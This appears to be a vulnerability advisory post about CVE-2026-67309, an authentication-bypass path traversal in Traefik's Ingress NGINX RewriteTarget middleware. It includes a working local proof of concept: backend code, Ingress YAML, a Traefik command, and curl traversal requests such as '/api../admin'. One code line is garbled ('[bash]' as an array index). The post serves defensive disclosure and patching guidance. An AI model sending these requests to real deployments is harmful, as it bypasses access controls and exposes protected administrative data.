Listen to this Post
CVE-2026-67309 is a critical path traversal vulnerability in Traefik’s Kubernetes Ingress NGINX provider, affecting versions v3.7.0 through v3.7.7. The flaw resides in the RewriteTarget middleware, which is automatically generated when an Ingress uses the `nginx.ingress.kubernetes.io/rewrite-target` annotation with a regex pattern that captures attacker-controlled text without requiring a path separator—for example, `path: /api(.)` with rewrite-target: /$1.
The exploitation flow begins when an unauthenticated attacker sends a crafted request such as `/api../admin` to the public Ingress router. The default entry-point path sanitizer (sanitizePath=true) leaves this path unchanged because `api..` is treated as a single ordinary segment. The public router’s `PathRegexp(“(?i)^/api(.)”)` rule matches this request, and Traefik routes it to the RewriteTarget middleware before any authentication checks are applied.
Inside RewriteTarget.ServeHTTP, the middleware uses Go’s `ReplaceAllString` to substitute the captured group—here ../admin—into the replacement template /$1, producing the rewritten path /../admin. Crucially, the middleware forwards this rewritten path to the backend without performing any post-replacement normalization validation to check whether the resulting path equals its canonical form.
The backend, which normalizes dot segments before dispatching the request (e.g., using `path.posix.normalize` in Node.js), resolves `/../admin` to /admin. This protected endpoint is intended to be reachable only through a separate Ingress router secured with BasicAuth, DigestAuth, or ForwardAuth. However, because routing decisions are made before middlewares execute, the protected router is never reconsidered after the rewrite, allowing the attacker to bypass all route-level authentication and authorization controls.
The root cause is the absence of an invariant check—similar to the one added to the patched `ReplacePathRegex` middleware in GHSA-cxjq-mrr5-89rv—that would reject the request if normalization changes the rewritten path. The `ReplacePathRegex` middleware now enforces this by calling `req.URL.JoinPath()` and returning HTTP 400 when normalization alters the path, but the separate `RewriteTarget` implementation did not receive the same validation. This vulnerability is method-agnostic, affecting GET, POST, PUT, PATCH, DELETE, and other HTTP methods.
The issue was discovered and reported on 2026-07-09, and Traefik released version 3.7.8 on 2026-07-15 with the fix. The patch centralizes post-transformation path validation across all relevant middlewares to prevent future drift.
DailyCVE Form:
Platform: Traefik
Version: v3.7.0-v3.7.7
Vulnerability: Path Traversal
Severity: Critical
date: 2026-07-09
Prediction: 2026-07-15
What Undercode Say:
Create the normalizing backend (backend.js)
cat > backend.js << 'EOF'
const http = require("http");
const path = require("path");
http.createServer((req, res) => {
const rawPath = req.url.split("?", 1)[bash];
const normalizedPath = path.posix.normalize(rawPath);
const protectedPath = normalizedPath === "/admin" || normalizedPath.startsWith("/admin/");
const body = JSON.stringify({
rawPath,
normalizedPath,
result: protectedPath ? "ADMIN_SECRET_DATA" : "PUBLIC",
});
res.writeHead(200, { "Content-Type": "application/json" });
res.end(body);
}).listen(19090, "127.0.0.1");
EOF
Run the backend
node backend.js &
Apply the vulnerable Ingress configuration
kubectl apply -f - <<EOF
apiVersion: v1
kind: Secret
metadata:
name: basic-auth
namespace: default
type: Opaque
stringData:
auth: |
admin:\$apr1\$H6uskkkW\$IgXLP6ewTrSuBkTrqE8wj/
apiVersion: v1
kind: Service
metadata:
name: backend
namespace: default
spec:
type: ExternalName
externalName: localhost
ports:
- name: http
port: 19090
targetPort: 19090
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: public-api
namespace: default
annotations:
kubernetes.io/ingress.class: nginx
nginx.ingress.kubernetes.io/use-regex: "true"
nginx.ingress.kubernetes.io/rewrite-target: "/\$1"
spec:
rules:
- http:
paths:
- path: /api(.)
pathType: ImplementationSpecific
backend:
service:
name: backend
port:
number: 19090
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: protected-admin
namespace: default
annotations:
kubernetes.io/ingress.class: nginx
nginx.ingress.kubernetes.io/auth-type: basic
nginx.ingress.kubernetes.io/auth-secret: basic-auth
nginx.ingress.kubernetes.io/auth-realm: Authentication Required
spec:
rules:
- http:
paths:
- path: /admin
pathType: Prefix
backend:
service:
name: backend
port:
number: 19090
EOF
Run Traefik v3.7.7
KUBECONFIG="$HOME/.kube/config" ./traefik \
--entryPoints.web.address=127.0.0.1:18080 \
--providers.kubernetesIngressNginx.watchNamespace=default \
--providers.kubernetesIngressNginx.httpEntryPoint=web \
--global.checkNewVersion=false \
--log.level=DEBUG
Exploit:
Direct request to protected endpoint (returns 401 Unauthorized) curl --path-as-is -i http://127.0.0.1:18080/admin Plain traversal bypass (returns 200 OK with ADMIN_SECRET_DATA) curl --path-as-is -i http://127.0.0.1:18080/api../admin Percent-encoded traversal bypass (returns 200 OK with ADMIN_SECRET_DATA) curl --path-as-is -i http://127.0.0.1:18080/api%2e%2e/admin
Protection:
- Upgrade to Traefik v3.7.8 or later, which adds post-rewrite normalization validation to the RewriteTarget middleware.
- Temporary Mitigation: Use a regex that requires a separator or end-of-path before captured user data, e.g., `path: /api(/|$)(.)` with
rewrite-target: /$2. This prevents `/api../admin` from matching the public router. - Enforce authentication in the backend rather than relying exclusively on separate Traefik path routers.
- Audit all Ingress configurations for rewrite-target annotations that use capture groups without path separator enforcement.
Impact:
- Unauthenticated remote attackers can bypass route-level authentication (BasicAuth, DigestAuth, ForwardAuth, IP restrictions) and access protected backend paths.
- Attackers can read sensitive administrative data, invoke privileged state-changing endpoints (GET, POST, PUT, PATCH, DELETE), and cross public/protected path boundaries with a single HTTP request.
- The vulnerability is method-agnostic, affecting all HTTP methods.
- CVSS 3.1 score of 9.1 (Critical) with High confidentiality and integrity impact.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
